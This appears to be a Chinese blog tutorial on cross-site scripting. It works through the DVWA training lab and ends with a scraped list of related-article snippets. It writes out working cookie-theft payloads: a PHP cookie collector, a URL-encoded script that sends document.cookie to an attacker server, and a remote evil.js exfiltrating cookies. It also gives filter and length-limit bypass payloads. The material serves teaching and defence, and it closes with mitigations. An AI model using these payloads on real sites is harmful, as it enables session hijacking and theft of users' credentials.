XSS漏洞

article/2025/9/23 9:14:10

XSS是web安全中最为常见的漏洞,XSS全称是Cross Site Script。XSS攻击通常指黑客通过“HTML注入”篡改了网页,插入了恶意脚本,从而控制用户浏览的一种攻击。

这里的跨站访问,可以是从正常的网站跨到黑客的服务器,也可以是黑客的服务器跨到正常的网站。

XSS漏洞经常出现在需要用户输入的地方,这些地方一旦对输入不进行处理,黑客就可以进行HTML注入,进而篡改网页。

例如:页面上有个input标签

<!DOCTYPE html>
<html>
<head><title></title>
</head>
<body><form method="GET" action="xss.php"><input type="text" name="name"><input type="submit"></form><?phpif(array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL){echo $_GET['name'];}?>
</body>
</html>

在输入框中,我们可以构造一下代码实现注入

<script>alert(1)</script>

在寻找XSS漏洞时,先随便输入东西观察页面的响应方式,然后查看页面源码,然后构造合适的alert()弹窗来发现,同样也可以使用prompt(),confirm()。

XSS根据效果不同可以分为三类

  1. 反射型XSS(reflected)
  2. 存储型XSS(stored)
  3. DOM Based XSS

反射型和DOM型的攻击代码一般会在url中,经过urlEncode以后,用户很难识别。

DOM based XSS与前两者完全不同,是纯前端的XSS漏洞,XSS直接通过浏览器进行解析,就完成攻击。

下面这幅图片是反射型XSS的攻击示意图,序号是攻击顺序。反射型XSS需要诱骗用户进行点击。而存储型,攻击者已经通过XSS漏洞(基本为输入框)将恶意脚本放入数据库中,只要每次浏览这个网页就会触发恶意脚本。

 攻击者的恶意脚本称为XSS payload,下面列举几种常见的xss payload用途

1.cookie劫持

这是最常见的payload,黑客的目标一般就是用户的cookie,或者是root权限。这个攻击会在后面XSS实战中讲解

2.构造GET与POST请求

构造GET请求,只需要构造url中?后面的parameter就可以

POST请求构造一种是form表单的提交,另一种是XMLHttpReuqeust,XMLHttpRequest请求请看我另一篇博客的最后https://blog.csdn.net/qq_41667282/article/details/87216653

3.XSS钓鱼

将XSS与钓鱼相结合

4.识别用户浏览器

简单的方式可以通过navigator.userAgent获得。

复杂的可以通过不同浏览器有不同的特点获得。

5.识别用户安装的软件

在IE中,可以通过判断ActiveX控件的classid,来判断用户是否安装了某软件

try{
var Obj = new ActiveXObject('XunLeiBHO.ThunderIEHelper');
}catch(e){}

有一些第三方软件也会泄露,这里不详细介绍

6.CSS History Hack

利用CSS中style的visited属性,可以获得用户访问过哪些网站。(火狐已经修复这个漏洞)

7.获取用户的真实IP地址

XSS攻击框架“Attack API"中有一个获取本地IP地址的API

下面通过实战来详细认识一下XSS,实战平台用的是DVWA

先讲反射型的XSS

1.low等级

当你在用户框输入时会回显

现在输入<script>alert(1)</script>看看

这说明存在XSS漏洞,如何分别时反射型还是存储型漏洞,只要刷新这个页面,观察是否会弹窗就知道了,如果能会弹窗证明是存储型,反之是反射型

接着我们用这个XSS漏洞来实现cookie劫持

根据前面那个反射型XSS攻击流程图,我们需要先在自己的服务器上写一个获取cookie的脚本

这里我用的是php写的

<?php$cookie = $_GET['cookie'];file_put_contents("cookie.txt",$cookie);
?>

接着就是要构造让用户点击的url

http://127.0.0.1/DVWA-master/vulnerabilities/xss_r/?name=<script>document.location="http://127.0.0.1/cookie.php?cookie="+document.cookie;</script>

这个用户不能直接访问,必须经过urlEncode编码,编码后的url如下:

http://127.0.0.1/DVWA-master/vulnerabilities/xss_r/?name=%3Cscript%3Edocument.location%3D%22http%3A%2f%2f127.0.0.1%2fcookie.php%3Fcookie%3D%22%2bdocument.cookie%3B%3C%2fscript%3E

这时只要诱骗用户进行点击就可以获取用户的cookie。然后打开开发者工具,选择存储里的cookie进行替换,就可以成功登录DVWA。

还有一种获取cookie的方式:

现在url中加载一个远程脚本evil.js

http://127.0.0.1/DVWA-master/vulnerabilities/xss_r/?name=<script src="http://127.0.0.1/evil.js></script>

攻击者在自己的服务器中放入evil.js

var img=document.createElement("img");
img.src="http://127.0.0.1/log?"+escape(document.cookie);
document.body.appendChild(img);

然后查看服务器的日志可以看到留下的cookie

2.medium等级

当你输入<script>alert(1)</script>,会发现出现下图,这有可能是<script>标签被过滤了,看以下源代码验证一下

源代码:

发现<script>真的被过滤了,这时候就需要技巧去绕过限制,下面介绍几种绕过技巧

a.标签的嵌套

在<script>标签中再嵌套一个<script>

<script<script>>alert(1)</script>

b.大小写混合

服务器有可能只过滤了小写的script,那就可以通过大小写混合来绕过

3.high等级

以下是high等级输入<script>alert(1)</script>的页面源码,发现<script>被完全过滤

能加载js脚本的标签不只有<script>,还有<img>,<iframe>

<img src=# onerror=alert(1)>
<iframe onload=alert(1)>

现在讲存储型XSS,存储型XSS漏洞的利用方式可以说与反射型一模一样,但在存储型中遇到了不同的限制

输入框设置了maxlength属性,限制了输入的最大长度

绕过长度限制的技巧:

a.利用事件

这个针对的是以下这种情况

<input type=text value="$var"/>

变量直接在input中输出,那就可以利用事件来缩短所需要的字节数

“onclick=alert(1)

但是这种办法针对的情况非常有限,一旦限制的最大长度再小点便无法使用。

b.将代码写在别处

最常用的一个藏代码的地方就是location.hash。

先将要写的脚本写在url的hash后面

http://127.0.0.1/DVWA-master/vulnerabilities/xss_s/#alert(1)

然后在页面上的xss漏洞处写入 “οnclick="eval(location.hash.substr(1)"(这个构造方法针对的是前面那个xss,不是DVWA里面的)

c.利用注释符

当可以控制两个文本框时,通过注释符将脚本代码写在第二个注释符中,但是这个技巧实战价值不大。

d.利用抓包工具tamper data

利用这个工具可以绕过前端输入,直接向后端发送恶意脚本,就不受长度限制,可以说是一个万能工具,跟前面总是会受最小长度制约的技巧对比。

用开发者工具也同样可以绕过前端输入,这里以火狐浏览器为例:

在网络(Network)中找到下图,然后点击

 在右边的框中点击编辑和重发

分为请求主体和请求头,在请求主体中更改要发送的内容,然后统计发送内容字符串的长度,修改Content-Length的值,注意这个一定要修改,否则发送失败

更改前:

更改后:

更多的绕过长度限制的技巧可以看《突破XSS字符数量限制执行仍以JS代码》

其余的攻击步骤与反射型的一致

构造XSS还有一些其他的技巧

a.利用字符编码

比如%c1"的组合可以绕开对“的转义

b.使用<base>标签

<base>标签被用来定义页面上所有相对路径标签的hosting地址,<base>标签不像大部分技术文档所说的只能用在<head>标签之内,它可以使用在Html中任意一个地方,用<base>标签可以劫持页面中的使用相对路径的标签

c.window.name的妙用

window.name是没有特殊字符的限制,因为window对象是浏览器窗体,而并非document对象,因此window对象不受same Origin Policy限制,利用window对象可以实现跨域、跨页面传递数据。

假设www.a.com/test.html代码为

<body>
<script>window.name="test";window.location="http://www.b.com/test1.html";
</script>
</body>

将跳转到www.b.com中 ,www.b.com/test1.html代码为:

<body>
<script>
alert(document.domain+window.name);
</script>
</body>

XSS也会导致蠕虫的传播,比如Samy Worm和百度空间蠕虫

下面讲解以下XSS的防御

应对cookie劫持,普遍的做法是增加HttpOnly,HttpOnly是在Set-Cookie时候标记的,限制了js脚本对cookie的访问。

还可以进行输入和输出的检查,一般是用白名单,使用安全编码函数,如htmlspecialchars()等

应对不同的XSS应有不同的防御方式:

a.在HTML标签中输出:使用HtmlEncode

b.在HTML属性中输出:使用HtmlEncode

c.在script标签中输出:使用JavascriptEncode

d.在事件中输出:使用JavascriptEncode

e.在CSS中输出:尽量进制用户可控制的变量在<style>标签内

f.在地址中输出:一般针对path或者search中输出使用URLEncode就可以。如果用户可以控制整个url,应先检查是否以HTTP开头(因为可以用javascript,vbscript,dateURI作为协议

g.DOM型的防御:一定先进行JavascriptEncode,在根据输出到HTML中还是输出到事件或者脚本选择a,b,c,d中的一种防御方式。


http://chatgpt.dhexx.cn/article/Tn6YNDNu.shtml

相关文章

XSS-Game 通关教程,XSS-Game level1-18,XSS靶场通关教程

​ 「作者主页」&#xff1a;士别三日wyx 「作者简介」&#xff1a;CSDN top100、阿里云博客专家、华为云享专家、网络安全领域优质创作者 「专栏简介」&#xff1a; 此文章已录入专栏 靶场通关教程 XSS-Game XSS-Game level1XSS-Game level2XSS-Game level3XSS-Game level4XSS…

XSS攻击与CSRF攻击

XSS攻击 什么是XSS Cross-Site Scripting(跨站脚本攻击)&#xff0c;简称XSS&#xff0c;是一种代码注入攻击。攻击者通过在目标网站上注入恶意脚本&#xff0c;使之在用户的浏览器上运行。利用这些恶意脚本&#xff0c;攻击者可获取用户的敏感信息如Cookie、SessionID等&…

【XSS攻击介绍(一)】

目录 一、前言 二、攻击条件和漏洞验证方法 三、XSS漏洞分类 四、利用方法 五、XSS payload变形 六、防护总结 一、前言 XSS&#xff1a;跨站脚本攻击&#xff0c;即CSS。利用网页开发时留下的漏洞&#xff08;web应用程序对用户的输入过滤不足&#xff09;&#xff0c…

【XSS漏洞-01】XSS漏洞简介、危害与分类及验证

目录 1 XSS漏洞简介2 XSS漏洞危害3 XSS漏洞分类3.1 反射型XSS3.2 存储型XSS3.3 DOM型XSS3.3.1 节点树模型3.3.2 DOM型XSS 4 漏洞验证4.1 漏洞验证相关概念4.2 漏洞验证相关概念之间的区别4.3 常见POC 5 XSS漏洞验证实例5.1 反射型XSS漏洞验证实例5.2 存储型XSS漏洞验证实例5.3 …

XSS攻击详解

本篇博客主要总结一下什么是XSS攻击&#xff0c;并且如何防范XSS攻击。 一、什么是XSS攻击 XSS攻击中文名称为&#xff1a;跨站脚本攻击&#xff0c;XSS的重点不在于跨站&#xff0c;而在于脚本的攻击。 XSS攻击的工作原理&#xff1a;攻击者会在web页面中插入一些恶意的script…

XSS详解

XSS详解 1. 简介2. 跨站脚本实例3. XSS 的危害4. 分类4.1 反射型XSS&#xff08;非持久型&#xff09;漏洞成因攻击流程 4.2 存储型XSS&#xff08;持久型&#xff09;漏洞成因攻击流程 4.3 DOM型XSS漏洞成因 4.4 通用型XSS漏洞成因漏洞案例 4.5 突变型XSS漏洞成因攻击流程 5. …

XSS是什么?(Xmind配文详解)

一张图带你详解XSS &#xff08;话不多说上图&#xff09; 一、什么是 XSS XSS全称&#xff08;Cross Site Scripting&#xff09;跨站脚本攻击&#xff0c;是最常见的Web应用程序安全漏洞之一&#xff0c;位于OWASP top 10 2013/2017年度分别为第三名和第七名&#xff0c;X…

XSS详细讲解

XSS 1.XSS简介 &#xff08;1&#xff09;XSS简介 XSS作为OWASP TOP 10之一。 XSS中文叫做跨站脚本攻击&#xff08;Cross-site scripting&#xff09;&#xff0c;本名应该缩写为CSS&#xff0c;但是由于CSS&#xff08;Cascading Style Sheets&#xff0c;层叠样式脚本&am…

MySQL mysqldump数据导出详解

MySQL mysqldump数据导出详解 2016-04-07 11:14 pursuer.chen 阅读(357122) 评论(2) 编辑 收藏 举报 介绍 在日常维护工作当中经常会需要对数据进行导出操作&#xff0c;而mysqldump是导出数据过程中使用非常频繁的一个工具&#xff1b;它自带的功能参数非常多&#xff…

linux mysqldump 备份所有数据库,mysqldump导出所有数据库

Mysqldump工具的详细介绍 说明:mysqldump是数据库用来备份和数据转移的一个工具,一般在数据量很小的时候(几个G)可以用于备份。当数据量比较大的情况下,就不建议用mysqldump工具进行备份了;mysqldump是一个很好用的mysql数据转移工具,具有兼容强强、跨版本等特点; 一、数…

mysqldump实战-问题1

使用mysqldump导出数据时&#xff0c;遇到了一个权限问题(之前没报过这个提示) mysqldump: Error: Access denied; you need (at least one of) the PROCESS privilege(s) for this operation when trying to dump tablespaces 查看当前用户的权限&#xff1a; 解决方法&…

mysqldump 备份还原

Mysqldump Mysqldump客户端程序执行逻辑备份&#xff0c;可以生产一组SQL语句&#xff0c;这些语句可以执行重现原始数据库对象定义和表数据&#xff1b;它可以转存一个或多个数据库进行备份或者转移到其他数据库。Mysqldump命令也能生成csv文件或其他分隔符的文本&#xff0c…

mysqldump实战-问题2

在使用mysqldump 按条件导出数据的时候&#xff0c;发现导出的数据比直接在数据库查询数据变少了。 在数据库使用select count(*) from tablename where DATE_FORMAT(Inserted,%Y-%m-%d) 2022-12-13; 查到的数据是662条&#xff1b;然后使用mysqldump -uusr_name -pusr_pwd -…

MySQL 8.0 mysqldump 详解

作者公众号&#xff0c;欢迎一起交流。 mysqldump命令是MySQL自带的客户端程序&#xff0c;可用于对数据库进行备份&#xff0c;由于是逻辑备份&#xff0c;故可以看到备份的内容是有一系列的SQL语句组成&#xff0c;并可根据实际情况对备份内容进行修改。当然&#xff0c;使用…

mysqldump的使用简介

有时候要对线上数据进行操作&#xff0c; 需要提前备份下数据。 有时候需要将线上数据dump下来进行分析和验证。 来看下mysqldump的使用。 导出数据&#xff1a;mysqldump -h localhost -u root -p -P 17538 --single-transaction --databases taoge --tables x > x1.sql …

MySQL——使用mysqldump命令备份

使用mysqldump命令备份 mysqldump命令可以将数据库中的数据备份成一个文本文件。表的结构和表中的数据将存储在生成的文本文件中。本节将介绍mysqldump命令的工作原理和使用方法。 mysqldump命令的工作原理很简单。它先查出需要备份的表的结构&#xff0c;再在文本文件中生成…

网络安全——终端安全

背景 大中型企业桌面计算机数量众多,管理难度大,桌面安全问题突出。人们提起信息安全,往往把注意力集中在防火墙、防病毒、IDS、IPS、网络互连设备(Router、Switch)等的管理上,却忽略了对网络环境中的计算单元——桌面安全管理。 桌面安全,是传统网络安全防范体系的补…

网络安全防护体系建设

网络安全基本概念 网络安全&#xff08;Cyber Security&#xff09;是指网络系统的硬件、软件及其系统中的数据受到保护&#xff0c;不因偶然的或者恶意的原因而遭受到破坏、更改、泄露&#xff0c;系统连续可靠正常地运行&#xff0c;网络服务不中断&#xff0c;使网络处于稳…

网络安全体系

文章目录 1、安全体系2、安全服务3、安全机制4、安全标准5、安全目标 1、安全体系 ISo(国际标准化组织&#xff09;1989年制定的ISO/IEC 7489-2&#xff0c;给出了ISO/oSI参考模型的安全体系结构 在OSI参考模型中增设了安全服务、安全机制和安全管理&#xff0c;并给出了OSI网…

信息安全产品认证

文章目录 一、引言二、《网络关键设备和网络安全专用产品安全认证证书》2.1 背景2.2 产品目录2.3 认证依据标准2.4 认证机构2.5 《商密产品检测认证目录》与《网络关键设备和网络安全专用产品目录》的关系 三、《中国国家信息安全产品认证证书》3.1 背景3.2 产品目录3.3 行业跟…